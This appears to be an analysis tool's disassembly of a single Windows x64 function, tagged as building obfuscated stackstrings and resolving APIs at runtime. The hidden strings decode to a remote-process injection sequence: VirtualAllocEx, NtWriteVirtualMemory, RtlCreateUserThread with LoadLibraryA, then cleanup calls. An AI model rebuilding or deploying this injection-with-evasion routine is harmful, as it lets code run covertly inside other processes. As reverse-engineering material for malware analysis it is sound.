Function at 0x406f80
Capabilities:
Contain obfuscated stackstrings
Link many functions at runtime

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0xc8
mov r12, rcx
mov rcx, rdx
mov dword [rsp + 0x6c], 0
mov r13, rdx
call sub.msvcrt.dll_strlen
lea rbx, [rsp + 0xb0]
mov ecx, 0x7845
lea rsi, [rsp + 0x90]
mov qword [rsp + 0x58], rax
mov rbp, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
movabs rax, 0x32336c656e72656b
mov qword [rsp + 0xb0], rax
movabs rax, 0x416c617574726956
mov word [rsp + 0x9c], cx
mov rcx, rbx
mov qword [rsp + 0x70], 0
mov qword [rsp + 0xa0], rbx
mov dword [rsp + 0xb8], 0x6c6c642e
mov qword [rsp + 0xa8], 0xc
mov byte [rsp + 0xbc], 0
mov qword [rsp + 0x80], rsi
mov qword [rsp + 0x90], rax
mov dword [rsp + 0x98], 0x636f6c6c
mov qword [rsp + 0x88], 0xe
mov byte [rsp + 0x9e], 0
call rbp
mov rcx, rax
test rax, rax
je 0x4077d8
mov rdx, qword [rsp + 0x80]
mov rdi, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rdi
test rax, rax
je 0x4078fa
mov r8d, dword [rsp + 0x58]
mov r9d, 0x1000
xor edx, edx
mov rcx, r12
mov dword [rsp + 0x20], 4
call rax
mov rcx, qword [rsp + 0x80]
mov qword [rsp + 0x50], rax
cmp rcx, rsi
je 0x4070a9
call fcn.004bee60
mov rcx, qword [rsp + 0xa0]
cmp rcx, rbx
je 0x4070bb
call fcn.004bee60
lea r14, [rsp + 0x80]
lea r15, [rsp + 0x78]
xor r8d, r8d
movabs rax, 0x6c642e6c6c64746e
mov rdx, r15
mov rcx, r14
mov qword [rsp + 0xa0], rbx
mov qword [rsp + 0xb0], rax
mov byte [rsp + 0xb8], 0x6c
mov qword [rsp + 0xa8], 9
mov byte [rsp + 0xb9], 0
mov qword [rsp + 0x80], rsi
mov qword [rsp + 0x78], 0x14
call fcn.004abbf0
mov rdx, qword [rsp + 0x78]
mov qword [rsp + 0x80], rax
movabs rcx, 0x654d6c6175747269
mov qword [rsp + 0x90], rdx
movabs rdx, 0x566574697257744e
mov qword [rax], rdx
mov qword [rax + 8], rcx
mov dword [rax + 0x10], 0x79726f6d
mov rax, qword [rsp + 0x78]
mov rdx, qword [rsp + 0x80]
mov qword [rsp + 0x88], rax
mov byte [rdx + rax], 0
mov rcx, qword [rsp + 0xa0]
call rbp
mov rcx, rax
test rax, rax
je 0x4077f0
mov rdx, qword [rsp + 0x80]
call rdi
test rax, rax
je 0x4079a6
mov r9d, dword [rsp + 0x58]
mov rdx, qword [rsp + 0x50]
mov r8, r13
mov rcx, r12
mov qword [rsp + 0x20], 0
call rax
mov rcx, qword [rsp + 0x80]
cmp rcx, rsi
je 0x4071c3
call fcn.004bee60
mov rcx, qword [rsp + 0xa0]
cmp rcx, rbx
je 0x4071d5
call fcn.004bee60
movabs rax, 0x32336c656e72656b
mov rcx, rbx
mov qword [rsp + 0xa0], rbx
mov qword [rsp + 0xb0], rax
movabs rax, 0x7262694c64616f4c
mov dword [rsp + 0xb8], 0x6c6c642e
mov qword [rsp + 0xa8], 0xc
mov byte [rsp + 0xbc], 0
mov qword [rsp + 0x80], rsi
mov qword [rsp + 0x90], rax
mov dword [rsp + 0x98], 0x41797261
mov qword [rsp + 0x88], 0xc
mov byte [rsp + 0x9c], 0
call rbp
mov rcx, rax
test rax, rax
je 0x407810
mov rdx, qword [rsp + 0x80]
call rdi
mov qword [rsp + 0x58], rax
test rax, rax
je 0x40796b
mov rcx, qword [rsp + 0x80]
cmp rcx, rsi
je 0x407282
call fcn.004bee60
mov rcx, qword [rsp + 0xa0]
cmp rcx, rbx
je 0x407294
call fcn.004bee60
movabs rax, 0x6c642e6c6c64746e
xor r8d, r8d
mov rdx, r15
mov rcx, r14
mov qword [rsp + 0xa0], rbx
mov qword [rsp + 0xb0], rax
mov byte [rsp + 0xb8], 0x6c
mov qword [rsp + 0xa8], 9
mov byte [rsp + 0xb9], 0
mov qword [rsp + 0x80], rsi
mov qword [rsp + 0x78], 0x13
call fcn.004abbf0
mov rdx, qword [rsp + 0x78]
mov qword [rsp + 0x80], rax
movabs rcx, 0x7268547265735565
mov qword [rsp + 0x90], rdx
movabs rdx, 0x74616572436c7452
mov qword [rax], rdx
mov edx, 0x6165
mov qword [rax + 8], rcx
mov word [rax + 0x10], dx
mov byte [rax + 0x12], 0x64
mov rax, qword [rsp + 0x78]
mov rdx, qword [rsp + 0x80]
mov qword [rsp + 0x88], rax
mov byte [rdx + rax], 0
mov rcx, qword [rsp + 0xa0]
call rbp
mov rcx, rax
test rax, rax
je 0x407830
mov rdx, qword [rsp + 0x80]
call rdi
test rax, rax
je 0x407939
lea rdx, [rsp + 0x70]
xor r9d, r9d
xor r8d, r8d
mov rcx, r12
mov qword [rsp + 0x40], rdx
mov rdx, qword [rsp + 0x50]
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x38], rdx
mov rdx, qword [rsp + 0x58]
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x30], rdx
xor edx, edx
mov qword [rsp + 0x20], 0
call rax
mov rcx, qword [rsp + 0x80]
cmp rcx, rsi
je 0x4073c0
call fcn.004bee60
mov rcx, qword [rsp + 0xa0]
cmp rcx, rbx
je 0x4073d2
call fcn.004bee60
cmp qword [rsp + 0x70], 0
je 0x407a32
movabs rax, 0x32336c656e72656b
xor r8d, r8d
mov rdx, r15
mov rcx, r14
mov qword [rsp + 0xa0], rbx
mov qword [rsp + 0xb0], rax
mov dword [rsp + 0xb8], 0x6c6c642e
mov qword [rsp + 0xa8], 0xc
mov byte [rsp + 0xbc], 0
mov qword [rsp + 0x80], rsi
mov qword [rsp + 0x78], 0x15
call fcn.004abbf0
mov rdx, qword [rsp + 0x78]
mov qword [rsp + 0x80], rax
movabs rcx, 0x6a624f656c676e69
mov qword [rsp + 0x90], rdx
movabs rdx, 0x53726f4674696157
mov qword [rax], rdx
mov qword [rax + 8], rcx
mov dword [rax + 0x10], 0x45746365
mov byte [rax + 0x14], 0x78
mov rax, qword [rsp + 0x78]
mov rdx, qword [rsp + 0x80]
mov qword [rsp + 0x88], rax
mov byte [rdx + rax], 0
mov rcx, qword [rsp + 0xa0]
call rbp
mov rcx, rax
test rax, rax
je 0x407850
mov rdx, qword [rsp + 0x80]
call rdi
test rax, rax
je 0x4079e2
mov rcx, qword [rsp + 0x70]
mov r8d, 1
mov edx, 0xffffffff
call rax
mov rcx, qword [rsp + 0x80]
cmp rcx, rsi
je 0x4074d7
call fcn.004bee60
mov rcx, qword [rsp + 0xa0]
cmp rcx, rbx
je 0x4074e9
call fcn.004bee60
movabs rax, 0x32336c656e72656b
xor r8d, r8d
mov rdx, r15
mov rcx, r14
mov qword [rsp + 0xa0], rbx
mov qword [rsp + 0xb0], rax
mov dword [rsp + 0xb8], 0x6c6c642e
mov qword [rsp + 0xa8], 0xc
mov byte [rsp + 0xbc], 0
mov qword [rsp + 0x80], rsi
mov qword [rsp + 0x78], 0x11
call fcn.004abbf0
mov rdx, qword [rsp + 0x78]
mov qword [rsp + 0x80], rax
movabs rcx, 0x616572685465646f
mov qword [rsp + 0x90], rdx
movabs rdx, 0x4374697845746547
mov qword [rax], rdx
mov qword [rax + 8], rcx
mov byte [rax + 0x10], 0x64
mov rax, qword [rsp + 0x78]
mov rdx, qword [rsp + 0x80]
mov qword [rsp + 0x88], rax
mov byte [rdx + rax], 0
mov rcx, qword [rsp + 0xa0]
call rbp
mov rcx, rax
test rax, rax
je 0x407870
mov rdx, qword [rsp + 0x80]
call rdi
test rax, rax
je 0x407b02
mov rcx, qword [rsp + 0x70]
lea rdx, [rsp + 0x6c]
call rax
mov rcx, qword [rsp + 0x80]
mov r14d, eax
cmp rcx, rsi
je 0x4075d8
call fcn.004bee60
mov rcx, qword [rsp + 0xa0]
cmp rcx, rbx
je 0x4075ea
call fcn.004bee60
test r14d, r14d
je 0x407ae1
mov r8d, dword [rsp + 0x6c]
mov rdx, r13
mov rcx, r12
call fcn.00406470
mov r13, rax
test rax, rax
je 0x407b4c
movabs rax, 0x32336c656e72656b
mov rcx, rbx
mov qword [rsp + 0xa0], rbx
mov qword [rsp + 0xb0], rax
movabs rax, 0x466c617574726956
mov dword [rsp + 0xb8], 0x6c6c642e
mov qword [rsp + 0xa8], 0xc
mov byte [rsp + 0xbc], 0
mov qword [rsp + 0x80], rsi
mov qword [rsp + 0x90], rax
mov dword [rsp + 0x98], 0x45656572
mov byte [rsp + 0x9c], 0x78
mov qword [rsp + 0x88], 0xd
mov byte [rsp + 0x9d], 0
call rbp
mov rcx, rax
test rax, rax
je 0x407890
mov rdx, qword [rsp + 0x80]
call rdi
test rax, rax
je 0x407aa0
mov rdx, qword [rsp + 0x50]
mov r9d, 0x8000
xor r8d, r8d
mov rcx, r12
call rax
mov rcx, qword [rsp + 0x80]
cmp rcx, rsi
je 0x4076d2
call fcn.004bee60
mov rcx, qword [rsp + 0xa0]
cmp rcx, rbx
je 0x4076e4
call fcn.004bee60
movabs rax, 0x32336c656e72656b
mov rcx, rbx
mov qword [rsp + 0xa0], rbx
mov qword [rsp + 0xb0], rax
movabs rax, 0x74616e696d726554
mov qword [rsp + 0x90], rax
mov eax, 0x6165
mov dword [rsp + 0xb8], 0x6c6c642e
mov qword [rsp + 0xa8], 0xc
mov byte [rsp + 0xbc], 0
mov qword [rsp + 0x80], rsi
mov dword [rsp + 0x98], 0x72685465
mov word [rsp + 0x9c], ax
mov byte [rsp + 0x9e], 0x64
mov qword [rsp + 0x88], 0xf
mov byte [rsp + 0x9f], 0
call rbp
mov rcx, rax
test rax, rax
je 0x4078b0
mov rdx, qword [rsp + 0x80]
call rdi
test rax, rax
je 0x407a6e
mov rcx, qword [rsp + 0x70]
xor edx, edx
call rax
mov rcx, qword [rsp + 0x80]
cmp rcx, rsi
je 0x4077aa
call fcn.004bee60
mov rcx, qword [rsp + 0xa0]
cmp rcx, rbx
je 0x4077bc
call fcn.004bee60
mov rax, r13
add rsp, 0xc8
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
mov rcx, qword [rsp + 0xa0]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
jmp 0x40705e
mov rcx, qword [rsp + 0xa0]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
jmp 0x407183
mov rcx, qword [rsp + 0xa0]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
jmp 0x407258
mov rcx, qword [rsp + 0xa0]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
jmp 0x407355
mov rcx, qword [rsp + 0xa0]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
jmp 0x4074a0
mov rcx, qword [rsp + 0xa0]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
jmp 0x4075a4
mov rcx, qword [rsp + 0xa0]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
jmp 0x40769a
mov rcx, qword [rsp + 0xa0]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
jmp 0x40777c
mov r12, rax
mov rcx, qword [rsp + 0x80]
cmp rcx, rsi
je 0x4078db
call fcn.004bee60
mov rcx, qword [rsp + 0xa0]
cmp rcx, rbx
je 0x4078ed
call fcn.004bee60
mov rcx, r12
call fcn.0041d3d0
mov r12, rax
jmp 0x4078db
mov ecx, 0x10
call fcn.004bef90
lea rdx, str.Invalid_API
mov rcx, rax
mov r13, rax
call fcn.00499640
lea r8, [fcn.00499770]
lea rdx, [0x004cd760]
mov rcx, r13
call fcn.004bf7b0
mov rcx, r13
mov r12, rax
call fcn.004bf2e0
jmp 0x4078c9
mov ecx, 0x10
call fcn.004bef90
lea rdx, str.Invalid_API
mov rcx, rax
mov r13, rax
call fcn.00499640
lea r8, [fcn.00499770]
lea rdx, [0x004cd760]
mov rcx, r13
call fcn.004bf7b0
mov ecx, 0x10
call fcn.004bef90
lea rdx, str.Invalid_API
mov rcx, rax
mov r13, rax
call fcn.00499640
lea r8, [fcn.00499770]
lea rdx, [0x004cd760]
mov rcx, r13
call fcn.004bf7b0
jmp 0x40792c
mov ecx, 0x10
call fcn.004bef90
lea rdx, str.Invalid_API
mov rcx, rax
mov r13, rax
call fcn.00499640
lea r8, [fcn.00499770]
lea rdx, [0x004cd760]
mov rcx, r13
call fcn.004bf7b0
jmp 0x4078c6
mov ecx, 0x10
call fcn.004bef90
lea rdx, str.Invalid_API
mov rcx, rax
mov r13, rax
call fcn.00499640
lea r8, [fcn.00499770]
lea rdx, [0x004cd760]
mov rcx, r13
call fcn.004bf7b0
jmp 0x4078c6
mov ecx, 0x10
call fcn.004bef90
lea rdx, str.rtlThread_error
mov rcx, rax
mov r12, rax
call fcn.00499640
lea r8, [fcn.00499770]
lea rdx, [0x004cd760]
mov rcx, r12
call fcn.004bf7b0
jmp 0x4078c6
mov ecx, 0x10
call fcn.004bef90
lea rdx, str.Invalid_API
mov rcx, rax
mov r13, rax
call fcn.00499640
lea r8, [fcn.00499770]
lea rdx, [0x004cd760]
mov rcx, r13
call fcn.004bf7b0
mov ecx, 0x10
call fcn.004bef90
lea rdx, str.Invalid_API
mov rcx, rax
mov r13, rax
call fcn.00499640
lea r8, [fcn.00499770]
lea rdx, [0x004cd760]
mov rcx, r13
call fcn.004bf7b0
jmp 0x40792c
mov ecx, 0x10
call fcn.004bef90
lea rdx, str.invalid_parse_remote
mov rcx, rax
mov r12, rax
call fcn.00499640
jmp 0x407a4e
mov ecx, 0x10
call fcn.004bef90
lea rdx, str.Invalid_API
mov rcx, rax
mov r13, rax
call fcn.00499640
lea r8, [fcn.00499770]
lea rdx, [0x004cd760]
mov rcx, r13
call fcn.004bf7b0
mov r13, rax
mov rcx, r12
call fcn.004bf2e0
mov rcx, r13
call fcn.0041d3d0
jmp 0x40792c
mov ecx, 0x10
call fcn.004bef90
lea rdx, str.invalid_parse_remote
mov rcx, rax
mov r12, rax
call fcn.00499640
jmp 0x407a4e